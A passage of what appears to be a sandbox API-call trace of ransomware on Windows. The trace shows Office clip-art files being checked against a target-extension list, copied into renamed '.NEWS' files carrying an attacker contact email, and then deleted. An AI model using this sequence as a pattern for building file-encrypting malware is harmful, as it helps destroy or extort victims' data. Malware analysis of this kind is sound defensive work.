(lpString1=".ppt", lpString2=".WMF") returned -1 [0187.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0187.632] lstrlenW (lpString=".zip") returned 4 [0187.632] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.632] lstrlenW (lpString=".rar") returned 4 [0187.632] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.632] lstrlenW (lpString=".bz2") returned 4 [0187.632] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.632] lstrlenW (lpString=".7z") returned 3 [0187.632] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0187.632] lstrlenW (lpString=".dbf") returned 4 [0187.632] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0187.632] lstrlenW (lpString=".1cd") returned 4 [0187.632] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0151067.WMF") returned 68 [0187.632] lstrlenW (lpString=".jpg") returned 4 [0187.632] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.633] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.633] lstrlenW (lpString="J0152556.WMF") returned 12 [0187.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0187.634] GetFileSizeEx (in: hFile=0x560, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=16432) returned 1 [0187.634] CloseHandle (hObject=0x560) returned 1 [0187.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf")) returned 0x220 [0187.634] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x560 [0187.635] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.635] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.635] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0187.637] GetLastError () returned 0x0 [0187.637] ReadFile (in: hFile=0x560, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x4030, lpOverlapped=0x0) returned 1 [0187.640] WriteFile (in: hFile=0x474, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x4040, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x4040, lpOverlapped=0x0) returned 1 [0187.641] ReadFile (in: hFile=0x560, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.641] WriteFile (in: hFile=0x474, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.641] SetEndOfFile (hFile=0x474) returned 1 [0187.641] CloseHandle (hObject=0x474) returned 1 [0187.642] SetFilePointerEx (in: hFile=0x560, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.642] SetEndOfFile (hFile=0x560) returned 1 [0187.644] CloseHandle (hObject=0x560) returned 1 [0187.644] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.645] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152556.wmf")) returned 1 [0187.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0187.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0187.646] lstrlenW (lpString=".doc") returned 4 [0187.646] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.646] lstrlenW (lpString=".docx") returned 5 [0187.646] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0187.646] lstrlenW (lpString=".pdf") returned 4 [0187.646] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.646] lstrlenW (lpString=".xls") returned 4 [0187.646] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.646] lstrlenW (lpString=".xlsx") returned 5 [0187.646] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0187.646] lstrlenW (lpString=".ppt") returned 4 [0187.646] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0187.646] lstrlenW (lpString=".zip") returned 4 [0187.646] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.646] lstrlenW (lpString=".rar") returned 4 [0187.646] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.646] lstrlenW (lpString=".bz2") returned 4 [0187.646] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.646] lstrlenW (lpString=".7z") returned 3 [0187.646] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0187.646] lstrlenW (lpString=".dbf") returned 4 [0187.646] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0187.646] lstrlenW (lpString=".1cd") returned 4 [0187.646] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.646] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0187.647] lstrlenW (lpString=".jpg") returned 4 [0187.647] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0187.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0187.647] lstrlenW (lpString=".doc") returned 4 [0187.647] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.647] lstrlenW (lpString=".docx") returned 5 [0187.647] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0187.647] lstrlenW (lpString=".pdf") returned 4 [0187.647] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.647] lstrlenW (lpString=".xls") returned 4 [0187.647] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.647] lstrlenW (lpString=".xlsx") returned 5 [0187.647] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0187.647] lstrlenW (lpString=".ppt") returned 4 [0187.647] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0187.647] lstrlenW (lpString=".zip") returned 4 [0187.647] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.647] lstrlenW (lpString=".rar") returned 4 [0187.647] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.647] lstrlenW (lpString=".bz2") returned 4 [0187.647] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.647] lstrlenW (lpString=".7z") returned 3 [0187.647] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0187.647] lstrlenW (lpString=".dbf") returned 4 [0187.647] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0187.647] lstrlenW (lpString=".1cd") returned 4 [0187.647] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.647] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152556.WMF") returned 68 [0187.648] lstrlenW (lpString=".jpg") returned 4 [0187.648] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.648] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.648] lstrlenW (lpString="J0152558.WMF") returned 12 [0187.648] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0187.649] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=16052) returned 1 [0187.650] CloseHandle (hObject=0x474) returned 1 [0187.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf")) returned 0x220 [0187.650] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0187.650] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.650] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0187.651] GetLastError () returned 0x0 [0187.651] ReadFile (in: hFile=0x474, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x3eb4, lpOverlapped=0x0) returned 1 [0187.653] WriteFile (in: hFile=0x554, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0x3ec0, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0x3ec0, lpOverlapped=0x0) returned 1 [0187.655] ReadFile (in: hFile=0x474, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.655] WriteFile (in: hFile=0x554, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.655] SetEndOfFile (hFile=0x554) returned 1 [0187.655] CloseHandle (hObject=0x554) returned 1 [0187.655] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.655] SetEndOfFile (hFile=0x474) returned 1 [0187.690] CloseHandle (hObject=0x474) returned 1 [0187.691] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.691] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152558.wmf")) returned 1 [0187.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0187.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0187.692] lstrlenW (lpString=".doc") returned 4 [0187.692] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.692] lstrlenW (lpString=".docx") returned 5 [0187.692] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0187.692] lstrlenW (lpString=".pdf") returned 4 [0187.692] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.692] lstrlenW (lpString=".xls") returned 4 [0187.692] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.692] lstrlenW (lpString=".xlsx") returned 5 [0187.692] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0187.692] lstrlenW (lpString=".ppt") returned 4 [0187.692] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0187.692] lstrlenW (lpString=".zip") returned 4 [0187.692] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.692] lstrlenW (lpString=".rar") returned 4 [0187.692] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.692] lstrlenW (lpString=".bz2") returned 4 [0187.692] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.692] lstrlenW (lpString=".7z") returned 3 [0187.692] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.692] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0187.693] lstrlenW (lpString=".dbf") returned 4 [0187.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0187.693] lstrlenW (lpString=".1cd") returned 4 [0187.693] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0187.693] lstrlenW (lpString=".jpg") returned 4 [0187.693] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0187.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0187.693] lstrlenW (lpString=".doc") returned 4 [0187.693] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.693] lstrlenW (lpString=".docx") returned 5 [0187.693] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0187.693] lstrlenW (lpString=".pdf") returned 4 [0187.693] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.693] lstrlenW (lpString=".xls") returned 4 [0187.693] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.693] lstrlenW (lpString=".xlsx") returned 5 [0187.693] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0187.693] lstrlenW (lpString=".ppt") returned 4 [0187.693] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0187.693] lstrlenW (lpString=".zip") returned 4 [0187.693] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.693] lstrlenW (lpString=".rar") returned 4 [0187.693] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.693] lstrlenW (lpString=".bz2") returned 4 [0187.693] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.693] lstrlenW (lpString=".7z") returned 3 [0187.693] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.693] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0187.693] lstrlenW (lpString=".dbf") returned 4 [0187.693] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0187.694] lstrlenW (lpString=".1cd") returned 4 [0187.694] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.694] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152558.WMF") returned 68 [0187.694] lstrlenW (lpString=".jpg") returned 4 [0187.694] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.694] lstrcmpiW (lpString1=".WMF", lpString2=".NEWS") returned 1 [0187.694] lstrlenW (lpString="J0152570.WMF") returned 12 [0187.694] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0187.695] GetFileSizeEx (in: hFile=0x474, lpFileSize=0x2e5ff14 | out: lpFileSize=0x2e5ff14*=3368) returned 1 [0187.695] CloseHandle (hObject=0x474) returned 1 [0187.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf")) returned 0x220 [0187.695] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0187.695] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x474 [0187.695] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.696] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.696] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x554 [0187.697] GetLastError () returned 0x0 [0187.697] ReadFile (in: hFile=0x474, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0xd28, lpOverlapped=0x0) returned 1 [0187.699] WriteFile (in: hFile=0x554, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xd30, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xd30, lpOverlapped=0x0) returned 1 [0187.699] ReadFile (in: hFile=0x474, lpBuffer=0x3a40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2e5fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesRead=0x2e5fecc*=0x0, lpOverlapped=0x0) returned 1 [0187.700] WriteFile (in: hFile=0x554, lpBuffer=0x3a40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2e5fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a40020*, lpNumberOfBytesWritten=0x2e5fc94*=0xec, lpOverlapped=0x0) returned 1 [0187.700] SetEndOfFile (hFile=0x554) returned 1 [0187.700] CloseHandle (hObject=0x554) returned 1 [0187.700] SetFilePointerEx (in: hFile=0x474, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e5fec0 | out: lpNewFilePointer=0x0) returned 1 [0187.700] SetEndOfFile (hFile=0x474) returned 1 [0187.702] CloseHandle (hObject=0x474) returned 1 [0187.703] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0187.703] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152570.wmf")) returned 1 [0187.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0187.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0187.704] lstrlenW (lpString=".doc") returned 4 [0187.704] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.704] lstrlenW (lpString=".docx") returned 5 [0187.704] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0187.704] lstrlenW (lpString=".pdf") returned 4 [0187.704] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.704] lstrlenW (lpString=".xls") returned 4 [0187.704] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.704] lstrlenW (lpString=".xlsx") returned 5 [0187.704] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0187.704] lstrlenW (lpString=".ppt") returned 4 [0187.704] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0187.704] lstrlenW (lpString=".zip") returned 4 [0187.704] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.704] lstrlenW (lpString=".rar") returned 4 [0187.704] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.704] lstrlenW (lpString=".bz2") returned 4 [0187.704] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0187.704] lstrlenW (lpString=".7z") returned 3 [0187.704] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0187.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0187.704] lstrlenW (lpString=".dbf") returned 4 [0187.704] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0187.704] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0187.704] lstrlenW (lpString=".1cd") returned 4 [0187.705] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0187.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0187.705] lstrlenW (lpString=".jpg") returned 4 [0187.705] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0187.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0187.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0187.705] lstrlenW (lpString=".doc") returned 4 [0187.705] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0187.705] lstrlenW (lpString=".docx") returned 5 [0187.705] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0187.705] lstrlenW (lpString=".pdf") returned 4 [0187.705] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0187.705] lstrlenW (lpString=".xls") returned 4 [0187.705] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0187.705] lstrlenW (lpString=".xlsx") returned 5 [0187.705] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0187.705] lstrlenW (lpString=".ppt") returned 4 [0187.705] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0187.705] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152570.WMF") returned 68 [0187.705] lstrlenW (lpString=".zip") returned 4 [0187.705] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0187.705] lstrlenW (lpString=".rar") returned 4 [0187.705] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0187.705] lstrlenW (lpString=".bz2") returned 4 [0187.705] 